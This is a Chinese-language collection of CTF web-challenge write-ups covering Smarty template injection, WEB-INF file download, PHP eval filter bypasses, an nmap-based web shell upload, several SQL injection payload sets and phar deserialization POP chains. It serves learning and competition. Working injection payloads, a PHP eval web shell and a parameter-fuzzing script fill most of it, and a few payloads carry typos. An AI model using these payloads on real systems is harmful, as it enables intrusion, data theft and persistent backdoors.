smarty模板漏洞

smarty模板漏洞

打开主页,我们观察了各页面的内容,其中Your ip:让我们产生怀疑,会不会是SSTI漏洞,我们抓取一个包,然后构造X-Forwarded-For或client-ip这两个字段

1
2
3
X-Foewarded-For: {7*7}

client-ip: {7*7}

发现Your ip:会显示49,证明存在SSTI,而读取XFF和client-ip的api有些是使用smart引擎写的,因此我们可以猜测是smart模板漏洞,而常见是flask模板漏洞

而smarty模板是基于PHP开发的,与flask模板有比较大的区别,我们可以使用

1
{$smarty.version}

来确定smarty模板的版本

常见的利用方法

{php}{/php}

smarty模板支持使用的{php}{/php}标签来执行被包裹的php指令,但在smart3版本中已经废弃了{php}{/php}标签,但是在smarty3.1中的smartyBC中仍然可以使用

{literal}

{literal}可以让一个模板区域的字符原样输出,这经常保护页面上的javascript或css样本表,避免因为smarty的定界符错被解析

对于php5的话,可以使用

1
<script language="php"> phpinfo();</script>

来实现php代码的执行

静态方法

通过self来获取smarty类的静态方法来实现文件读写
smarty类中的getStreamVariable方法的代码:

1
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }

getStreamVariable()方法是读取一个文件并返回其内容,所以我们可以用self来获取smarty类对象并调用这个方法

1
{self::getStreamVariable("file:///etc/passwd")}

但这是旧版本的smarty模板的利用方法,新版本不能用,而smarty3.1.30版本开始,这个方法已经被删除,而Smarty_Internal_File类中的writeFile方法来写shell也已经被高版本删除

{if}

smarty模板的{if}标签和php的if很像,只是增加了一些特性,每个{if}要配备一个{/if},也可以匹配{else}和{elseif},全部的php条件表达式和函数都可以在if内使用,如or,and等

1
{if phpinfo()}{/if}

即可显示php版本

回到题目本身,我可以在bp抓的包中构造XFF或client-ip来获取flag或想要的信息

1
2
3
X-Forwarded-For: {if system("cat flag")}{/if}

client-ip: {if system("cat flag")}{/if}

详细请看:https://www.freebuf.com/column/219913.html

java的WEB-INF

java的WEB-INF文件

我们点击help,出现

1
java.io.FileNotFoundException:{help.docx}

而且payload为

1
http://url/Download?filename=文件名

可见可能是文件包含,可以用此下载文件,不过用get提交的方式不可以,所以此处我们可以试一下post提交,发现可以下载help.docx文件,而且用bp抓包,放到repeater后改为post提交,可以看见500状态码,即服务器内部出错,并爆出一些关键信息

1
2
3
4
5
6
7
8
<!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.NullPointerException
java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:130)
java.io.FileInputStream.&lt;init&gt;(FileInputStream.java:93)
com.wm.ctf.DownloadController.doPost(DownloadController.java:24)
javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
javax.servlet.http.HttpServlet.service(HttpServlet.java:742)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
</pre><p><b>Note</b> The full stack trace of the root cause is available in the server logs.</p><hr class="line" /><h3>Apache Tomcat/8.5.24</h3></body></html>

其中我们可以看见

1
com.wm.ctf.DownloadController.doPost(DownloadController.java:24)

而一般我们出于安全的考虑,我们会将网页放在WEB-INF文件下,防止页面被直接访问,而要访问WEB-INF文件下的网页,在WEB-INF文件下设置web.xml文件,其中web.xml的格式为:

1
2
<!--直接设置 welcome-file 节点-->
<welcome-file> ./WEB-INF/views/xxx.jsp</weclome-file>

访问地址为:http://url/xxx/(xxx为项目名)

因此,我们可以包含web.xml文件,即将help.docx改为web.xml进行post提交即可下载web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>

通过看

1
<servlet-class>com.wm.ctf.FlagController</servlet-class>

可知FlagController.class文件放在WEB-INF/classes/com/wm/ctf/中

WEB-INF主要包含的文件和目录

1
2
3
4
5
6
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

所以可以和上面一样,包含FlagController.class文件,因此构造payload

1
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

即可得到,里面的base64的码就是flag

搜索读取文件的php函数的应用

搜索读取文件的php函数的应用

打开页面,尝试各种泄露的可能,用GitHack.py发现是.git文件泄露,因此构造

1
python GitHack.py http://url/.git/

获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

通过看到eval()这个危险函数,我们可以构造一些恶意代码来读取,但是它过滤掉了一些伪协议和一些函数,但是我们可以先构造一个exp,在本地尝试

1
2
3
4
<?php

print_r(scandir("."));
?>

来读取当前目录下的文件,如果“.”改为“\”,会读取系统下目录的文件,我们也可以使用localeconv()函数返回一包含本地数字及货币格式信息的数组,而构造

1
?exp=print_r(scandir(localeconv()));

可以看到第一个数组为“.”,因此,我们可以使用current()函数或pos()函数来默认读取返回数组中的当前单元,默认取第一个值。构造payload

1
?exp=print_r(scandir(current(localconv())));

发现里面有flag.php,此时我们可以使用array_reverse()函数来颠倒数组中元素的顺序,而后用next()读取数组中的第二个元素,构造payload

1
?exp=print_r(next(array_reverse(scandir(localconv()))));

而后我们可以用readfile()函数或hightlight_file()函数或show_source()函数来读取文件

1
?exp=show_source(next(array_reverse(scandir(localeconv()))));

当然也可以用array_file()来调换键和值的位置,然后用array_rand()读取键值,不断刷新不断随机返回

同时我们也可以使用PHPSESSID来解题,因为flag.php文件里的字符是由PHPSESSID来支持的,但是在使用session前要通过session_start()来告诉php我要使用session,因为php默认不主动使用session,而session_id()可以获取当前的session id

使用方法,我们要手动设置名为PHPSESSID的cookie,并设置值为flag.php,而后构造payload

1
?exp=print_r(session_id(session_start());

可返回flag.php

而后和上面一样,用readfile()函数或hightlight_file()函数或show_source()函数来读取文件,要手动设置名为PHPSESSID的cookie,并设置值为flag.php,而后构造payload

1
?exp=show_source(session_id(session_start());

读取flag.php的内容

多个php文件寻找参数可利用点

多个php文件寻找参数可利用点

打开页面,可以看见www.tar.gz,可知是文件泄露,因此通过构造payload获取源码

发现源码有上千个文件,且文件中有许多的get和post参数的提交,因此,我们可以通过一个思路来写一个exp

1
2
3
4
5
6
首先我们要得到各个文件的get和post参数有哪些

其次我们要利用参数构造payload来传参
get提交payload:http://url/文件名?参数名=echo ~hahaha~;

最后看返回的信息中是否~hahaha~,如果有,则证明此参数可利用,而后构造cat%20/flag即可读取信息

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
# _*_ coding:utf-8 _*_

import os
import requests
import re
import threading
import time

requests.adapters.DEFAULT_RETRIES=8
session=requests.Session()
session.keep_alive=False

sem=threading.Semaphore(30) #设置线程数
url="http://647c1229-fdeb-4406-9775-cf4e0c33c9d4.node4.buuoj.cn:81/"
path=r"D:\比赛临时文档\buu\src\\"

rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #获取get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #获取post参数

fileNames=os.listdir(path)
local_file=open("flag.txt","w",encoding="utf-8")

def run(fileName):
with sem:
file=open(path+fileName,'r',encoding='utf-8')
content=file.read()
print("[+]checking:%s"%fileName)
# get提交
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag="You Find it in GET fileName=%s and param=%s\n"%(fileName,i)
print(flag)
local_file.write(flag)
#post提交
# for i in rrPOST.findall(content):
# r=session.post(url+fileName,data={i:"echo ~h3zh1~;"})
# if "~h3zh1~" in r.text:
# flag= "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.write(flag)

if __name__=='__main__':
start_time=time.time()
print("[start]程序开始:"+str(start_time))
thread_list=[]
for fileName in fileNames:
t=threading.Thread(target=run,args=(fileName,))
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time=time.time()
local_file.close()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))

可以搭建环境,url设置为http://127.0.0.1/sqli/src/(看自己文件的位置),但是php版本要在7以上,否则会报错

escapeshellarg和escapeshellcmd函数重过滤绕过

nmap命令与escapeshellarg和escapeshellcmd函数

打开页面,可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

其中的X-Foewarded-For和Remote-Addr是服务器用来获取ip的,而escapeshellarg()和escapeshellcmd()函数是对特殊字符进行转义的

escapeshellarg()

1
escapeshellarg()函数会对单引号用反斜杠进行转义,并再用单引号将左右两部分括起来,起到连接的作用

escapeshellcmd()

1
2
3
对特殊字符加反斜杠进行转义,特殊字符为:&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF,以及'和"在不配对的情况下,以及%和!

在windows情况下,会将这些特殊字符转化为空格,而在linux下,如果是在system()函数中,\的转义会失效

而使用|&或&&通道的方式,会受到escapeshellarg()和escapeshellcmd()函数转义的影响,而nmap命令可以使用-oG来创建php文件并写入内容

因此,我们可以构造

1
' <?php @eval($_POST['host']); ?> -oG test.php '

来上传木马,而后会显示出文件的位置,最后用蚁剑连接就行

union绕过(反序列化)

union绕过(反序列化)

通过看到/view.php?no=1,可以猜测可能是一个注入点,因此构造常见闭合点,可知数字型注入
通过构造

1
1 union select 1,2,3,4%23

返回的信息可知,union被过滤点,因此可以使用

1
”union“相当于”/*!union*/“

进行绕过,而后进行联合注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
爆数据库
-1 /*!union*/ select 1,database(),3,4%23

1 /*!union*/ select 1,database(),3,4 limit 1 offset 0%23

爆数据表
-1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' %23

1 /*!union*/ select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' limit 1 offset 0%23

爆数据列
-1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' %23

1 /*!union*/ select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' limit 1 offset 0%23

爆数据列中字段的内容
-1 /*!union*/ select 1,group_concat(no,"----",username,"----",passwd,"----",data),3,4 from fakebook.users %23

1 /*!union*/ select 1,group_concat(no,"----",username,"----",passwd,"----",data),3,4 from fakebook.users limit 1 offset 0%23

而后看到出现no、username、passwd、data字段的内容,可以看到data字段是序列化的内容,因此我们可以试一下robots.txt来读取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

我们可以用file://协议来读取flag文件,猜测文件在/var/www/html/目录下,因此可以构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

}
$a=new UserInfo();
$a->name=admin;
$a->age=12;
$a->blog=file://var/www/html/flag.php

?>

而后构造payload,来控制检索的data数据,即可读出flag

1
-1 /*!union*/ select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

双写绕过(联合注入)

双写绕过

通过在username和password中构造可疑闭合点

1
2
3
username:admin'、admin"、admin")、admin')

password:admin'、admin"、admin")、admin')

发现注入点在password,且闭合是单引号,我们可以通过双写绕过的方式来进行联合注入

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
爆数据库
admin' ununionion seleselectct group_concat(schema_name),group_concat(schema_name),group_concat(schema_name) frfromom infoorrmation_schema.schemata limit 1 offset 0--+

报数据表
admin' ununionion seleselectct group_concat(table_name),group_concat(table_name),group_concat(table_name) frfromom infoorrmation_schema.tables limit 1 offset 0%23
admin' ununionion seleselectct table_name,table_name,table_name frfromom infoorrmation_schema.tables limit 1 offset 0%23

报数据列
admin' ununionion seleselectct column_name,column_name,column_name frfromom infoorrmation_schema.columns whwhereere table_name='Flag' limit 1 offset 0%23

爆数据列中的内容
admin' ununionion seleselectct flag,flag,flag frfromom ctf.Flag limit 1 offset 0%23

其中

1
2
limit 1 offset 0

的解析:

1
2
3
4
5
6
7
8

select * from table limit 2,1;
//跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据


select * from table limit 2 offset 1;
//从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条

报错注入(=和空格的过滤)

报错注入之等于号和空格的过滤

等于号和空格的过滤

1
2
3
4
"="相当于"like"

"空格"相当于"()"

实例

闭合点为单引号闭合,因此可以构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
爆数据库
aaa'^extractvalue(1,concat(0x7e,(select(database()))))%23

爆数据表
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

爆数据列
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

爆数据列中的内容
aaa'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23

左边内容
aaa'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23

右边内容
aaa'^extractvalue(1,left(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23

逻辑sql注入

逻辑sql注入

关键词判断

1
2
3
联合注入:unin被过滤
报错注入:and、or、updatexml被过滤
bool注入和time注入:and、or被过滤

打开页面源码,看到

1
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

由于base32的特征是纯大写+数字,所以进行base32解密,得到有等于号的字母加数字,猜测是base64,进行base64解密,得到

1
select * from user where username = '$name'

可见在username中有注入点,由于=和or被过滤,所以可以使用<>或like来代替=,用0r来代替or,不过也报错

因此,我们可以从后端逻辑出发,一般是:先检索数据。拿出username的键值来进行对比,如果错误,则报错,如果正确,则进行下一步,再拿password的键值与我们输入的password进行比较

不过放在数据库里用于比较的键值都是加密的,加密方式有mysql、mysql5、md5等,我们可以猜想它的工作的代码

1
2
3
4
5
6
7
$data = 检索数据。
if ($data['username'] === 'admin') {
if ($data['password'] === md5($pw)) {
return true;
}
}

因此我们可以使用联合注入来操纵检索数据,一般数据列中的字段都是id,username,password,所以构造payload

1
a' union select 1,admin,输入密码的md5值%23&pw=输入密码

phar反序列化

phar反序列化(吃瓜杯attup)

打开页面,可知只能是zip、rar、tar文件可以上传,因此我们随意构造一个zip文件上传
然后查询上传的zip文件,之后打开页面源码,发现有一处源码泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$filename = $_POST["file"];
$stat = @stat($filename);

其中stat()这个函数用的很少, 用于返回关于文件的信息, 但是它也可以触发 phar 文件, 这里主要是考察了通过 zip 或 tar 文件包装的phar文件进行触发
phar反序列化详细请看:https://www.cnblogs.com/zzjdbk/p/13030571.html

因此我们可以构造pop链并压缩成zip文件或tar文件并包装成phar文件的格式上传,phar文件可以绕过<?和php的过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
zip

class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$a = new View();
$a->fn = '/flag';
$b = new Fun();
$b->fun = $a;
$c = new Fun();
$c->fun = $b;
$d = serialize($c);
if(file_exists('phar.zip')) {
@unlink("phar.zip");
}
$zip = new ZipArchive;
$res = $zip->open('phar.zip', ZipArchive::CREATE);
$zip->addFromString('test.txt', 'file content goes here');
$zip->setArchiveComment($d);
$zip->close();

以及

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
tar


class View {
public $fn;
public function __invoke(){
$text = base64_encode(file_get_contents($this->fn));
echo "<script>alert('".$text."');self.location=document.referrer;</script>";
}
}
class Fun{
public $fun = ":)";
public function __toString(){
$fuc = $this->fun;
$fuc();
return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
}
public function __destruct()
{
echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
}
}
$a = new View();
$a->fn = '/flag';
$b = new Fun();
$b->fun = $a;
$c = new Fun();
$c->fun = $b;
@unlink("phar.tar");
@system('rm -r .phar');
@system('mkdir .phar');
file_put_contents('.phar/.metadata',serialize($c));
system('tar -cf phar.tar .phar/*');

然后构造payload

1
2
phar://./phar.tar
phar:///var/www/html/uploads/phar.tar

即可通过 phar 反序列化触发 pop 链得到 flag